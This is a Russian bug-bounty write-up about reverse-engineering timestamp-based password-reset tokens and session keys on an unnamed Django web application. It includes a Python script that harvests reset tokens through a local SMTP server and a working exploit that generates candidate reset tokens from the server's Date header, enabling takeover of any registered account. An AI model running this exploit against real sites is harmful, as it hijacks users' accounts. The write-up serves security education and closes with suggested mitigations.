В этом райтапе я разберу атаку на веб‑приложение, которое мы условно назовем TopApp.
Еще по теме: Взлом сайта на Django
Статья в образовательных целях для обучения этичных хакеров (багхантеров). Баг Баунти — это программа, которую владелец приложения проводит для привлечения сторонних специалистов к поиску уязвимостей. При участии в программе Bug Bounty нужно действовать этично и придерживаться установленных правил. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Атака на API веб-приложения Django
Одна из особенностей его API — это использование текущего значения времени в формате Unix в качестве уникального идентификатора.
Оно и верно, время назад не вернуть, оно число инкрементное, а количество операций вряд ли будет таким большим, чтобы вызвать исключительную ситуацию.
Вероятность генерации одного и того же уникального идентификатора достаточно мала, около 0,01% при условии, что две операции пройдут в одну и ту же секунду. А еще в идентификаторе сразу же фиксируется время операции.
Однако, зная время, когда произошла операция, мы имеем 100%-ю вероятность угадать этот идентификатор, так как для перебора идентификатора нам необходимо около 10 000 вариантов.
Именно из‑за этого опасны такие уязвимости, как небезопасная ссылка на объект.
Например, доступ к идентификатору через ресурс top-secret для пользователя без аутентификации.
1 |
https://top-secret.com/order/15912220586459?json=true |
Причем время фигурирует не только в идентификаторе платежей, но и в идентификаторе пользователя.
Однако есть и секреты — такие как идентификатор сессии (на скриншоте выше это skey — 28 символов) и ключ восстановления пароля, ключи к API.
Начнем с кода восстановления пароля. После запроса кода нам приходит следующее письмо.
Очень странный токен, учитывая, что сам сайт написан на Django.
Сначала я изучил модуль django-rest-passwordreset, в нем есть уязвимость, при которой токен подходит к любому почтовому адресу, а пару лет назад в изучаемом движке была такая же уязвимость. Но токен восстановления совершенно другой.
В Django есть разные форматы токенов и путей к восстановлению паролей.
В версии 1.11:
1 |
reset/(?P[0-9A-Za-z_\-]+)/(?P[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$ |
В версии 1.8:
1 |
^reset/(?P[0-9A-Za-z_\-]+)/(?P[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$ |
3.0 использует такую ссылку:
1 |
accounts/reset/// |
В нашем случае это [0-9].
14 байт — это много комбинаций, пусть даже из цифр, которую нереально перебрать онлайн.
Часто для генерации токенов используют ГПСЧ, например тот же mt_rand. Ломать рандомы обычно очень весело, потому что никто не понимает, как работает криптография, а потом все очень удивляются, как можно было предсказать случайное значение.
Для начала изучения нам нужно было сравнить возможные токены, проверить на инкрементность и другую предсказуемость.
Для этого мы подняли собственный SMTP-сервер, что облегчает работу с текстом письма. Запросили 10 000 кодов восстановления паролей, только вот сами письма шли много часов, а дошло около 1500. Но этого было достаточно.
На вид нет ничего необычного, но, если отсортировать токены, будет понятно, что что‑то не так.
Первая мысль — это собственная реализация линейного конгруэнтного метода (LCG).
Мы попробовали несколько запросов для эксплуатации состояния гонки (race condition) и отправили несколько токенов.
Идея была в том, что, если отправить два запроса на восстановление пароля (на собственную почту и жертве), придут одинаковые или минимально различимые коды.
После множества попыток мы получили максимальное приближение:
почта 1: 567*94*300990116;
почта 2: 567*56*301990116.
Но в большинстве случаев числа слишком разные и знание одного числа не дает точной информации о другом, поэтому получить пароль жертвы нельзя даже теоретически.
И все же эти токены не давали покоя. Как будто есть какое‑то правило, которое привязано к чему‑то цикличному. Формат токена не повторяется последовательно, но повторяется время от времени.
Итак, что может быть цикличным и повторяться с изменением времени? Ну да, времена года. А еще? На самом деле ответ был в самом вопросе — это время. Часы, минуты, секунды.
Все станет понятно, как только посмотришь на время сервера. Именно тут начинается магия.
В ответе всегда есть заголовок Date.
Что делаем?
- Запрашиваем пароль.
- Смотрим, что в ответе веб‑приложения есть заголовок Date: Date: Mon, 08 Jun 2020 08:14:10 GMT.
- Переводим эту дату в timestamp (есть специальный сервис). В данном случае это будет 1591604050.
- Сравниваем с полученным кодом — 50501015409368.
А теперь посмотри на цифры внимательно.
Чтобы было понятнее, посимвольно отсортируем оба значения.
Код — 00001134555689. Заголовок Date — 0001145569.
Код восстановления — 50501015409368, это время 1591604050 + 5038, где четыре цифры — либо что‑то случайное, либо миллисекунды.
Цифры — забавная штука. Вот мы знаем, из чего состоит код, но угадать его не можем. Непонятно, каким образом формируется код, потому что, даже если мы знаем все 14 символов, у нас 87 178 291 200 вариантов комбинации их перестановки.
Для исследования я написал сценарий, который забирал время сервера и токены, чтобы записать их в базу данных SQLite.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
import asyncio import aiosqlite import logging import sqlite3 import requests from aiosmtpd.controller import Controller # tbl_empty = 'DELETE FROM `emails`;' tbl = ''' CREATE TABLE IF NOT EXISTS `emails` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, `data` TEXT, `token` TEXT, `date` DATETIME DEFAULT CURRENT_TIMESTAMP ); ''' tbl_ts = ''' CREATE TABLE IF NOT EXISTS `timestamps` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, `serverdate` TEXT ); ''' cookies = { 'csrftoken': 'mCR8a2gnBrliEVp1F2KlKYxSC9yfXdpWDXyMQNJvAq56ulnieVnhb3LTTcc2T4aQ', } postdata = { 'csrfmiddlewaretoken': 'HS1bHsCw7WKfAMnb4718xgM4PjVkrDLjYdIPnd5E6Vu3qclsD0E4Yl056mz7nuwd', 'email': 'shaitan@24radio.ru' } headers = { 'Referer': 'https://top-secret.com/' } url = 'https://top-secret.com/request_password_recovery' async def sendmsg(): r = requests.post(url, data=postdata, cookies=cookies, headers=headers) await ins_ts_data(r.headers['Date']) ins = 'INSERT INTO `emails`(`data`,`token`) VALUES (?,?)' ins_ts = 'INSERT INTO `timestamps`(`serverdate`) VALUES (?)' async def ins_data(d, t): db = await aiosqlite.connect('emails.db') await db.execute(ins, (d, t,)) await db.commit() await db.close() async def ins_ts_data(t): db = await aiosqlite.connect('emails.db') await db.execute(ins_ts, (t,)) await db.commit() await db.close() class CustomHandler: cnt = 0 async def handle_DATA(self, server, session, envelope): peer = session.peer mail_from = envelope.mail_from rcpt_tos = envelope.rcpt_tos data = envelope.content tkn_f = data.find(b'token=') if tkn_f >= 0: await ins_data(data, data[tkn_f+6:tkn_f+20]) await sendmsg() self.cnt += 1 print(self.cnt) return '250 OK' if __name__ == '__main__': logging.getLogger("asyncio").setLevel(logging.INFO) logging.getLogger("asyncio").info("TEST") conn = sqlite3.connect('emails.db') conn.execute(tbl) conn.execute(tbl_ts) conn.commit() r = requests.post(url, data=postdata, cookies=cookies, headers=headers) conn.execute(ins_ts, (r.headers['Date'],)) conn.commit() conn.close() handler = CustomHandler() controller = Controller(handler, port=25) # Run the event loop in a separate thread controller.start() # Wait for the user to press Return input('SMTP server running. Press Return to stop server and exit.') controller.stop() |
В результате удалось собрать около 150 токенов восстановления и значений времени:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
30593017099328 - 1593200939 => 7038 92945501325007 - 1593200945 => 2507 54042258990136 - 1593200954 => 4286 55082265990136 - 1593200965 => 8256 74123809495043 - 1593200974 => 8443 80123709695003 - 1593200980 => 7603 31200950996001 - 1593200990 => 6001 90018923709459 - 1593200997 => 8049 01123800995143 - 1593201004 => 8913 21151066940230 - 1593201016 => 6420 98023511322077 - 1593201023 => 8277 36123400495113 - 1593201031 => 6443 09193153200264 - 1593201039 => 0264 56098248901136 - 1593201046 => 8896 04195153230314 - 1593201054 => 3314 01261739005825 - 1593201062 => 7085 |
А теперь обратимся к комбинаторике. Мы знаем, что у нас есть время (10 байт) и четыре цифры. Сортировка столбцов происходит по каким‑то правилам. Так как это не функция свертки, веб‑приложение должно видеть, по какому правилу нужно разложить ключ, чтобы получить искомое значение (дату).
Попробуем поискать аномалии токенов. Если последний символ ключа нулевой, то мы видим некоторую аномалию среди всех подобных токенов, это числа 51 и 23.
Нам нужно смотреть именно на начало таймстемпа, потому что строка 15932 статична.
А вот что будет, когда последняя цифра — тройка.
Такая же аномалия с 123 и 95.
Это значит, что на самом деле генерируется 13 символов timestamp, это время + миллисекунды, последнее случайное число отвечает за алгоритм перестановки.
Собираем данные для каждого токена, получаем такой эксплоит:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
import calendar, time; date = "Sun, 05 Jul 2020 13:59:22 GMT" def permute(t, inv=False): if t[-1] == "0": perm = [4, 3, 8, 12, 11, 5, 2, 10, 1, 6, 0, 9, 7, 13] if t[-1] == "1": perm = [0, 6, 8, 1, 2, 12, 4, 5, 9, 3, 7, 11, 10, 13] if t[-1] == "2": perm = [3, 1, 10, 5, 8, 12, 4, 0, 7, 11, 9, 2, 6, 13] if t[-1] == "3": perm = [2, 10, 9, 4, 3, 6, 11, 7, 0, 12, 8, 1, 5, 13] if t[-1] == "4": perm = [2, 6, 3, 7, 8, 10, 5, 0, 4, 1, 9, 11, 12, 13] if t[-1] == "5": perm = [1, 10, 7, 6, 2, 0, 4, 9, 3, 12, 8, 5, 11, 13] if t[-1] == "6": perm = [11, 0, 8, 12, 5, 2, 10, 9, 6, 1, 4, 7, 3, 13] if t[-1] == "7": perm = [7, 5, 0, 8, 9, 11, 6, 2, 3, 4, 12, 10, 1, 13] if t[-1] == "8": perm = [4, 2, 10, 6, 12, 1, 8, 9, 0, 3, 5, 7, 11, 13] if t[-1] == "9": perm = [3, 12, 0, 7, 6, 9, 1, 10, 5, 8, 11, 2, 4, 13] assert list(sorted(perm)) == list(range(14)) if inv: perm = [perm.index(i) for i in range(14)] return "".join(t[i] for i in perm) for i in range(10000): print (permute(str(calendar.timegm(time.strptime(date, '%a, %d %b %Y %H:%M:%S GMT')))+"{0:04}".format(i), inv=True)) |
Для демонстрации можно взять любой email, который зарегистрирован на сайте с этим движком, и запросить восстановление пароля.
Копируем значение заголовка Date и вставляем его в код эксплоита.
Выполнив эксплоит, сохраняем полученные токены и смотрим в письмо. Убеждаемся, что один из наших токенов совпадает с тем, что пришел в письме.
Ах да, что там у нас было еще секретного?
Вернемся к этому скриншоту.
Здесь id — это время.
Собираем skey:
1 2 3 4 5 6 7 8 |
8979529143354119210935903611 4476293516911019210935903611 5265099351791619210935903611 0390996461518719210935903611 3215920613914919210935903611 7769931151012919210935903611 4936693510915119210935903611 8919116173056119210935903611 |
Время + ID пользователя?
Akey, судя по виду, — это SHA-256 от… времени?
Все идентификаторы, включая секреты, значения которых должны быть криптографически стойкими и уникальными, — это время. Считать ли это бэкдором? Не знаю.
Как защититься от такой атаки на API Django
Насколько я понимаю, никто переделывать текущую архитектуру не будет, поэтому, если совсем не хочется использовать криптографически стойкие генераторы случайных чисел, стоит рассмотреть хотя бы шифрование на уровне клиентских запросов.
Как это может выглядеть? Для каждого домена генерируется специальный ключ, который шифрует значение timestamp и расшифровывает строки обратно.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$plaintext = 51910139060232; $password = 'Hello 123'; $method = 'aes-256-cbc'; $key = substr(hash('sha256', $password, true), 0, 32); echo "Password: " . $password . "\n"; // Вектор инициализации должен быть кратен длине ключа. // Он на самом деле может быть не нулевым, также он не является секретом и его, по идее, можно передавать в открытом виде. // А раз его можно передавать, можно держать его статичным, хотя если менять его — меняется шифротекст. $iv = chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3); echo 'plaintext ' . $plaintext . "\n"; echo 'encrypted (base64_encode) to: ' . base64_encode(openssl_encrypt($plaintext, $method, $key, OPENSSL_RAW_DATA, $iv)) . "\n"; echo 'encrypted (hex) to: ' . bin2hex(openssl_encrypt($plaintext, $method, $key, OPENSSL_RAW_DATA, $iv)) . "\n"; $decrypted = openssl_decrypt(base64_decode("QzEIPRoI6RllFGnAG0z0PQ=="), $method, $key, OPENSSL_RAW_DATA, $iv); |
Таким образом на бэкенде текущая архитектура будет продолжать работать в том же виде, что и сейчас, но все строки с датой заменены криптостойкими хешами вида 71ccca0995eebbc9315547f2ca76ee67 (или cczKCZXuu8kxVUfyynbuZw==, кому как больше нравится), которые не расшифровать без ключа. Ну или можно просто генерить криптостойкие строки.
Спасибо, i_bo0om, за интересный райтап.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Взлом API с помощью Wfuzz
- Подмена заголовка Origin в конечной точке API
- Поиск уязвимых API-эндпойнтов с помощью Fuzzapi